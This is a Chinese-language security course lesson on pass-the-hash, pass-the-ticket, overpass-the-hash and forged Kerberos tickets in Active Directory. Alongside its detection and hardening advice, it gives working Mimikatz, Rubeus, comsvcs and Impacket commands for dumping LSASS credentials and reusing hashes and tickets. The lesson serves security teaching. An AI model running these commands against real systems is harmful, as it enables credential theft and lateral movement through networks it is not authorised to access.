哈希传递与票据传递
重复使用窃取的凭据。
哈希传递与票据传递 是 CoddyKit 上的免费 Cyber Security Academy 课时。 这是第 3 节课，共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Cyber Security Academy 学习路径的一部分，你的进度在网页和 CoddyKit 应用中同步。 Cyber Security Academy 课程共包含 4 节课。
不依赖密码的凭据
Windows 身份验证在实际使用凭据时，通常不需要明文密码。NTLM 哈希值和 Kerberos 票据都可以单独用于身份验证。攻击者会利用这一点：窃取凭据材料并重新使用。
- 传递哈希会重新使用 NTLM 哈希值。
- 传递票据会重新使用 Kerberos 票据。
- 两者都不需要破解密码。
凭据存放位置
凭据材料在正常运行期间会缓存在内存和磁盘上。常见来源包括：
- 登录用户的 LSASS 进程内存保存哈希值和票据。
- SAM 数据库存储本地账户哈希值。
- DC 上的 NTDS.dit 存储每个域账户的哈希值。
- 由 DPAPI 保护的凭据保管库和浏览器存储区。
转储 LSASS 是最常见的凭据收集步骤。
# Mimikatz: dump logon passwords and hashes
privilege::debug
sekurlsa::logonpasswords
# Comsvcs minidump of lsass (living-off-the-land)
rundll32 C:\windows\system32\comsvcs.dll, MiniDump <pid> lsass.dmp full传递哈希的原理
NTLM 身份验证通过在质询—响应过程中使用密码哈希值作为秘密，来证明您知道密码。只要拥有哈希值，就可以完成握手，而完全无需知道密码。
这使 NT 哈希值成为密码等价物。任何接受 NTLM 的服务都只需哈希值即可访问。
# Mimikatz pass-the-hash spawns a process with injected creds
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<NThash> /run:cmd.exe
# Impacket psexec via hash
psexec.py -hashes :<NThash> corp.local/Administrator@10.0.0.20传递票据的原理
Kerberos 票据是持有者令牌：任何持有有效 TGT 或 TGS 的人，都可以在票据过期前使用它。攻击者从 LSASS 提取票据，并将它们注入自己的会话。
- 窃取 TGT 后，您可以以该用户身份请求服务票据。
- 窃取 TGS 后，可以访问某一特定服务。
# Export all tickets, then inject one
Rubeus.exe dump /nowrap
Rubeus.exe ptt /ticket:doIF... (base64 blob)
# Mimikatz
sekurlsa::tickets /export
kerberos::ptt ticket.kirbi哈希透传
哈希透传（也称传递密钥）连接了 NTLM 和 Kerberos。您可以使用窃取的 NTLM（或 AES）密钥请求合法的 Kerberos TGT，随后完全在 Kerberos 中操作。
这种方式比直接传递哈希更隐蔽，因为生成的流量看起来像正常的 Kerberos 身份验证流量。
# Rubeus: turn an NTLM hash into a TGT
Rubeus.exe asktgt /user:svc_sql /rc4:<NThash> /ptt
# AES key is even quieter than RC4
Rubeus.exe asktgt /user:svc_sql /aes256:<key> /ptt黄金票据与银票据
获得更深层的访问权限后，攻击者可以直接伪造票据。
- 黄金票据是使用 krbtgt 哈希值签名的伪造 TGT。它可以授予任意身份，并且在 krbtgt 轮换两次之前一直有效。
- 银票据是针对单项服务伪造的 TGS，使用该服务账户的哈希值签名。它不会接触 DC，因此十分隐蔽。
- 钻石票据会修改合法签发的 TGT，以规避票据伪造检测。
横向移动模式
复用凭据可以实现横向移动。常见的执行通道包括：
- SMB 加服务创建（类似 psexec 的方式）。
- WMI 远程创建进程。
- WinRM / PowerShell 远程处理。
- DCOM 对象实例化。
同一个被盗哈希值或票据，可能让您访问许多将该账户视为本地管理员的主机。
本地管理员凭据复用的危害
在多台计算机之间共享同一个本地管理员密码是灾难性的。只要转储一次，就可以使用传递哈希进入所有共享该密码的主机。
LAPS 通过为每台计算机设置唯一且定期轮换的本地管理员密码来解决这一问题，并将密码存储在 AD 中，同时限制读取权限。
检测
如果加以监控，这些攻击会留下遥测数据。
- 在应使用 Kerberos 的情况下，出现使用 NTLM 的登录类型
3/9。 - 特权账户出现带有 seclogon 的事件
4624，或出现异常的 NTLM 身份验证。 - 票据异常：没有先出现 TGT 就出现 TGS（银票据），或票据生命周期异常（黄金票据）。
- 非标准进程访问 LSASS（系统监视器事件
10）。
防御措施
硬化的重点是保护并隔离凭据。
- 启用凭据防护，将 LSASS 机密隔离在 VBS 隔离区中。
- 将敏感账户加入受保护用户组（不使用 NTLM、不允许委派、票据有效期短）。
- 部署 LAPS 并实施管理员分层，确保第 0 层凭据绝不落到工作站上。
- 怀疑遭到黄金票据入侵时，将
krbtgt轮换两次。
负责任地进行测试
转储 LSASS 和伪造票据都是影响很大的操作。只有在获得明确授权并针对约定目标时才能执行。除非已纳入范围，否则请避免转储生产 DC，并在报告后安全销毁收集到的哈希值和票据。
记录每次凭据复用，以便蓝队验证其检测是否成功触发。
快速检查
请检查您对凭据复用攻击的理解程度。
回顾
您已看到被盗哈希值和票据如何完全绕过密码。
- 传递哈希会重新使用 NTLM 哈希值；传递票据会重新使用 Kerberos 票据。
- 哈希透传可将哈希值转换为正常的 Kerberos TGT。
- 黄金票据、银票据和钻石票据都可以伪造，用于维持持久性。
- 凭据防护、LAPS、受保护用户组和 krbtgt 轮换是核心防御措施。
下一步：将立足点发展为完整的域控制权。
常见问题解答
「哈希传递与票据传递」课时是免费的吗？
是的 — 「哈希传递与票据传递」的完整文本可在网页上免费阅读。要进行交互式练习（内置代码编辑器和全天候 AI 导师）并解锁 Cyber Security Academy 课程的其余内容，请升级到 CoddyKit PRO。 Cyber Security Academy 课程共包含 4 节课。
「哈希传递与票据传递」这节课中我会学到什么？
重复使用窃取的凭据。 你通过在浏览器中直接运行的动手代码来练习 Cyber Security Academy，全天候 AI 导师会在你学习这节课的过程中回答你的问题。
学习 Cyber Security Academy 需要有经验吗？
无需任何先前经验。CoddyKit 上的 Cyber Security Academy 课程适合初学者到高级学习者，你可以从这里开始或从头开始，按照自己的节奏学习。 这是第 3 节课，共 4 节。
「哈希传递与票据传递」课时需要多长时间？
大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动，所以你能稳步进步，并在网页和应用中从离开的地方继续。
我能在这节 Cyber Security Academy 课中编写并运行代码吗？
能。每节 Cyber Security Academy 课都包含内置代码编辑器，你可以在浏览器中直接编写并运行真实代码，并获得即时 AI 反馈 — 无需本地设置。